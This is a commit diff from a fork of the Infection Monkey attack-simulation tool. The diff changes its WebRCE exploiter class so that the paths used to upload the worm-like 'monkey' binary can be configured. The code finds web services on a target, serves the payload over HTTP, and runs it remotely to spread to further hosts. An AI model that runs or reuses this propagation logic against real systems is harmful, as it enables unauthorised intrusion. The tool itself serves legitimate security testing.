forked from p15670423/monkey
Web_RCE framework now supports custom monkey uploading paths( we don't always have permissions to uppload to C:\Windows)
This commit is contained in:
parent
b8bda692b9
commit
5565a80418
|
@ -17,9 +17,19 @@ LOOK_FOR_FILE = "ls %s"
|
||||||
|
|
||||||
class WebRCE(HostExploiter):
|
class WebRCE(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host, monkey_target_paths=None):
|
||||||
|
"""
|
||||||
|
:param host: Host that we'll attack
|
||||||
|
:param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
|
||||||
|
"""
|
||||||
super(WebRCE, self).__init__(host)
|
super(WebRCE, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
|
if monkey_target_paths:
|
||||||
|
self.monkey_target_paths = monkey_target_paths
|
||||||
|
else:
|
||||||
|
self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
|
||||||
|
'win32': self._config.dropper_target_path_win_32,
|
||||||
|
'win64': self._config.dropper_target_path_win_64}
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
|
@ -87,7 +97,7 @@ class WebRCE(HostExploiter):
|
||||||
candidate_services = {}
|
candidate_services = {}
|
||||||
candidate_services.update({
|
candidate_services.update({
|
||||||
service: self.host.services[service] for service in self.host.services if
|
service: self.host.services[service] for service in self.host.services if
|
||||||
(self.host.services[service]['name'] in names)
|
(self.host.services[service] and self.host.services[service]['name'] in names)
|
||||||
})
|
})
|
||||||
|
|
||||||
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
||||||
|
@ -205,9 +215,9 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
paths = []
|
paths = []
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
paths.append(self._config.dropper_target_path_linux)
|
paths.append(self.monkey_target_paths['linux'])
|
||||||
else:
|
else:
|
||||||
paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64])
|
paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
|
||||||
for path in paths:
|
for path in paths:
|
||||||
if self.check_remote_monkey_file(url, path):
|
if self.check_remote_monkey_file(url, path):
|
||||||
return True
|
return True
|
||||||
|
@ -251,7 +261,7 @@ class WebRCE(HostExploiter):
|
||||||
return False
|
return False
|
||||||
# Determine which destination path to use
|
# Determine which destination path to use
|
||||||
LOG.debug("Monkey path found")
|
LOG.debug("Monkey path found")
|
||||||
path = get_monkey_dest_path(src_path)
|
path = self.get_monkey_upload_path(src_path)
|
||||||
if not path:
|
if not path:
|
||||||
return False
|
return False
|
||||||
# Create server for http download and wait for it's startup.
|
# Create server for http download and wait for it's startup.
|
||||||
|
@ -323,7 +333,11 @@ class WebRCE(HostExploiter):
|
||||||
LOG.info("Trying to execute remote monkey")
|
LOG.info("Trying to execute remote monkey")
|
||||||
# Get monkey command line
|
# Get monkey command line
|
||||||
if dropper and path:
|
if dropper and path:
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
|
# If dropper is chosen we try to move monkey to default location
|
||||||
|
default_path = self.custom_to_dropper_path(path)
|
||||||
|
if default_path is False:
|
||||||
|
return False
|
||||||
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
|
||||||
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
|
||||||
else:
|
else:
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
@ -346,3 +360,45 @@ class WebRCE(HostExploiter):
|
||||||
return False
|
return False
|
||||||
LOG.info("Execution attempt finished")
|
LOG.info("Execution attempt finished")
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
|
def get_monkey_upload_path(self, url_to_monkey):
|
||||||
|
"""
|
||||||
|
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
|
||||||
|
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||||
|
:return: Corresponding monkey path from self.monkey_target_paths
|
||||||
|
"""
|
||||||
|
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||||
|
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
if 'linux' in url_to_monkey:
|
||||||
|
return self.monkey_target_paths['linux']
|
||||||
|
elif 'windows-32' in url_to_monkey:
|
||||||
|
return self.monkey_target_paths['win32']
|
||||||
|
elif 'windows-64' in url_to_monkey:
|
||||||
|
return self.monkey_target_paths['win64']
|
||||||
|
else:
|
||||||
|
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||||
|
"thus destination path can not be chosen.")
|
||||||
|
return False
|
||||||
|
except AttributeError:
|
||||||
|
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||||
|
"Can not get destination path to upload monkey")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def custom_to_dropper_path(self, path):
|
||||||
|
try:
|
||||||
|
key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)]
|
||||||
|
except KeyError:
|
||||||
|
LOG.error("The path you used is not in monkey_target_paths array. Skipping")
|
||||||
|
return False
|
||||||
|
if key == 'linux':
|
||||||
|
return self._config.dropper_target_path_linux
|
||||||
|
elif key == 'win32':
|
||||||
|
return self._config.dropper_target_path_win_32
|
||||||
|
elif key == 'win64':
|
||||||
|
return self._config.dropper_target_path_win_64
|
||||||
|
else:
|
||||||
|
LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
|
||||||
|
"custom dict of monkey's destination paths")
|
||||||
|
return False
|
||||||
|
|
Loading…
Reference in New Issue